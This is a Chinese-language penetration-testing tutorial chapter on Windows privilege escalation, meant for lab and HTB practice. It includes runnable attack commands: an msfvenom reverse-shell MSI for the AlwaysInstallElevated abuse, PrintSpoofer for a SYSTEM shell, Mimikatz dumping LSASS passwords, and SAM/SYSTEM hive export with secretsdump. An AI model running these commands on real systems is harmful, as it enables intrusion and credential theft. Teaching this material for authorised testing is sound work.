第 61 章 Windows 提权(Privilege Escalation)
Windows 提权与 Linux 思路相同(枚举→利用),但具体路径完全不同:服务配置、令牌、ACL、Unquoted Path、AlwaysInstallElevated 等。本章覆盖 Windows 提权的高频路径,并衔接凭证提取(Mimikatz 等)。
📍 知识点地图 | 主题:Windows提权 | 前置:第62章 | 后续:— | 核心概念:服务配置、SeImpersonate、注册表、Mimikatz
61.1 Windows 提权思维模型
Windows 提权路径来源:
1. 服务配置错误(服务权限/路径/可写二进制)
2. 令牌与权限(SeImpersonate/SeBackup 等)
3. 注册表/ACL 错误配置
4. 安装包/计划任务
5. 内核漏洞(驱动/系统)
6. 凭证(明文/哈希/票据 —— Windows 特有!)
核心工具: WinPEAS(枚举)+ 手工验证 + 凭证提取辅助
61.2 基础枚举
# 系统信息
systeminfo # 版本/补丁(查已知漏洞)
whoami /all # ← 最优先!用户权限和 Token 信息
whoami /priv # 特权(SeImpersonate 等!)
# 网络与进程
netstat -ano # 监听端口(本地服务)
tasklist /svc # 服务与进程
tasklist /v # 进程详情
# 用户与组
net user
net localgroup administrators
whoami /groups
# 补丁
wmic qfe list # 已装补丁(对比已知提权 CVE)
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
whoami /priv 是第一步:看到 SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege = 有土豆家族提权路径(见 61.5)。
61.3 Windows 服务提权(最常见路径)
服务配置枚举
# 服务信息(启动权限/二进制路径/运行账户)
wmic service get name,displayname,pathname,startmode,startname
sc qc <服务名>
# 关键: 服务以什么权限启动? 二进制路径可写吗?
路径漏洞 1:服务二进制可替换
场景: 服务以 SYSTEM 运行,但服务 exe 所在目录"用户可写"
利用:
1. 找到可写服务(icacls 检查目录权限)
2. 替换 exe 为恶意程序(反弹 shell/加用户)
3. 重启服务(需权限)或等系统重启
4. 以 SYSTEM 执行
路径漏洞 2:Unquoted Service Path
原理: 路径含空格且未加引号,如 C:\Program Files\My App\app.exe
Windows 解析: 先试 "C:\Program.exe" → "C:\Program Files\My.exe" → ...
利用:
1. 找到 unquoted 服务
2. 在可写的中间路径放恶意程序(如 C:\Program.exe)
3. 重启服务 → Windows 执行你的程序(SYSTEM)
路径漏洞 3:DLL 劫持
原理: 服务 exe 加载 DLL 时按顺序搜索目录
应用目录 → 系统目录 → PATH
利用:
1. 找到服务加载的外部 DLL(Process Monitor 观察)
2. 在应用目录(可写)放恶意 DLL
3. 重启服务 → 加载恶意 DLL(SYSTEM)
61.4 计划任务(Scheduled Tasks)
schtasks /query /fo LIST /v # 列出所有任务
# 关注:
# 1. 以高权限运行(SYSTEM)
# 2. 执行路径可写(替换程序/脚本)
# 3. 任务触发条件(登录/时间/事件)
61.5 Token 权限提权(SeImpersonate 家族)
原理
Windows Token 带权限(privileges):
SeImpersonatePrivilege: 可模拟其他用户的 token
SeAssignPrimaryTokenPrivilege: 设置进程主 token
SeBackupPrivilege: 备份(读所有文件)
SeRestorePrivilege: 恢复(写所有文件)
SeDebugPrivilege: 调试(注入任意进程)
如果服务账户有 SeImpersonate → 可拿到 SYSTEM(土豆攻击)
土豆家族(Potato)
原理: 诱导 SYSTEM 进程用 NTLM 认证你 → 拿到 SYSTEM token → 模拟
工具链(按时代):
JuicyPotato (经典,Win Server 2012-2019 部分版本)
PrintSpoofer (利用打印服务,稳定)
PotatoNG / GodPotato / SweetPotato(新版系统)
使用:
1. 确认 SeImpersonate(whoami /priv)
2. 上传工具(PrintSpoofer 等)
3. 执行: PrintSpoofer.exe -i -c cmd # 拿 SYSTEM shell
其他特权利用
SeBackupPrivilege: 备份 /etc/shadow 等价物
→ reg save HKLM\SAM sam.hiv(备份注册表读哈希)
SeDebugPrivilege: 注入 lsass 进程(提权+凭证提取)
SeRestorePrivilege: 覆盖任意文件(改服务二进制)
61.6 注册表与 ACL 提权
# AlwaysInstallElevated(注册表键可写 → MSI 提权)
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 两个都是 1 → 任何用户都能以 SYSTEM 装 MSI
# 利用: msfvenom -p windows/x64/shell_reverse_tcp -f msi -o x.msi && msiexec /quiet /i x.msi
# 服务 ACL(服务对象权限)
# 用户对服务有 SERVICE_CHANGE_CONFIG 权限 → 改服务路径 → SYSTEM
# 检查工具: accesschk / WinPEAS 自动标注
# 注册表 AutoRun(HKCU 可写 + 高权限登录触发)
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
61.7 Windows 凭证提取(提权的另一半)
Windows 提权常与凭证提取联动: 拿到哈希/票据 = 直接横向(第 62 章)
Mimikatz(主力):
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
→ LSASS 内存中的明文密码/哈希(需 SYSTEM 或 SeDebug)
其他:
secretsdump.py -sam sam.hiv -system system.hiv LOCAL # 注册表哈希
pypykatz lsa minidump lsass.dmp # 解析 dump
reg save HKLM\SAM SAM && reg save HKLM\SYSTEM SYSTEM # 备份 hive
# 目标文件/备份/内存中的凭据
61.8 内核漏洞提权(Windows)
1. systeminfo 确认版本+补丁
2. searchsploit windows <版本>提权
3. 常见历史系列:
MS16-032(PowerShell 内存提权)
CVE-2021-1732(Win10 内核提权)
CVE-2023-29357 / 2024 系列
4. 注意: 内核提权可能蓝屏(评估风险后执行)
61.9 自动化工具
# WinPEAS(首选)
winpeas.exe quiet
# Windows-Exploit-Suggester(补丁对比提权漏洞)
python windows-exploit-suggester.py --database 2024-xx.db --systeminfo info.txt
# 其他: Seatbelt(枚举)、PowerUp(服务/路径/令牌自动化)
61.10 Windows 提权检查清单
□ whoami /priv(特权清单 → 土豆家族)
□ 服务配置(可写二进制/unquoted/DLL 劫持)
□ 计划任务(高权限+可写路径)
□ 注册表(AlwaysInstallElevated/AutoRun/ACL)
□ Token 特权(SeImpersonate/SeBackup/SeDebug/SeRestore)
□ 补丁对比(已知提权 CVE)
□ 凭证搜索(明文/哈希/票据 —— 同时是横向材料)
□ WinPEAS 兜底 + 手工验证
动手练习
- 在 Windows 练习机(或 HTB 机器)枚举服务,找出 unquoted path 或可写二进制的服务,完成替换提权。
- 验证 SeImpersonate:用 PrintSpoofer(或类似工具)完成 SYSTEM shell。
- 检查 AlwaysInstallElevated 注册表键,复现 MSI 提权。
- 用 Mimikatz 提取本机(练习环境)的凭据,理解"提权+凭证"的联动。
深入阅读
- 仓库:
skills/pentest-tools/references/network-attack-defense.md(Windows 提权章节) - 仓库:
skills/attack-chain/SKILL.md(提权阶段:Windows/Linux/数据库) - 仓库:
CTF-Sandbox-Orchestrator/competition-identity-windows/(Windows 身份 CTF) - 仓库:
CTF-Sandbox-Orchestrator/competition-lsass-ticket-material/(LSASS/票据) - 外部: HackTricks(Windows Privilege Escalation 完整方法论)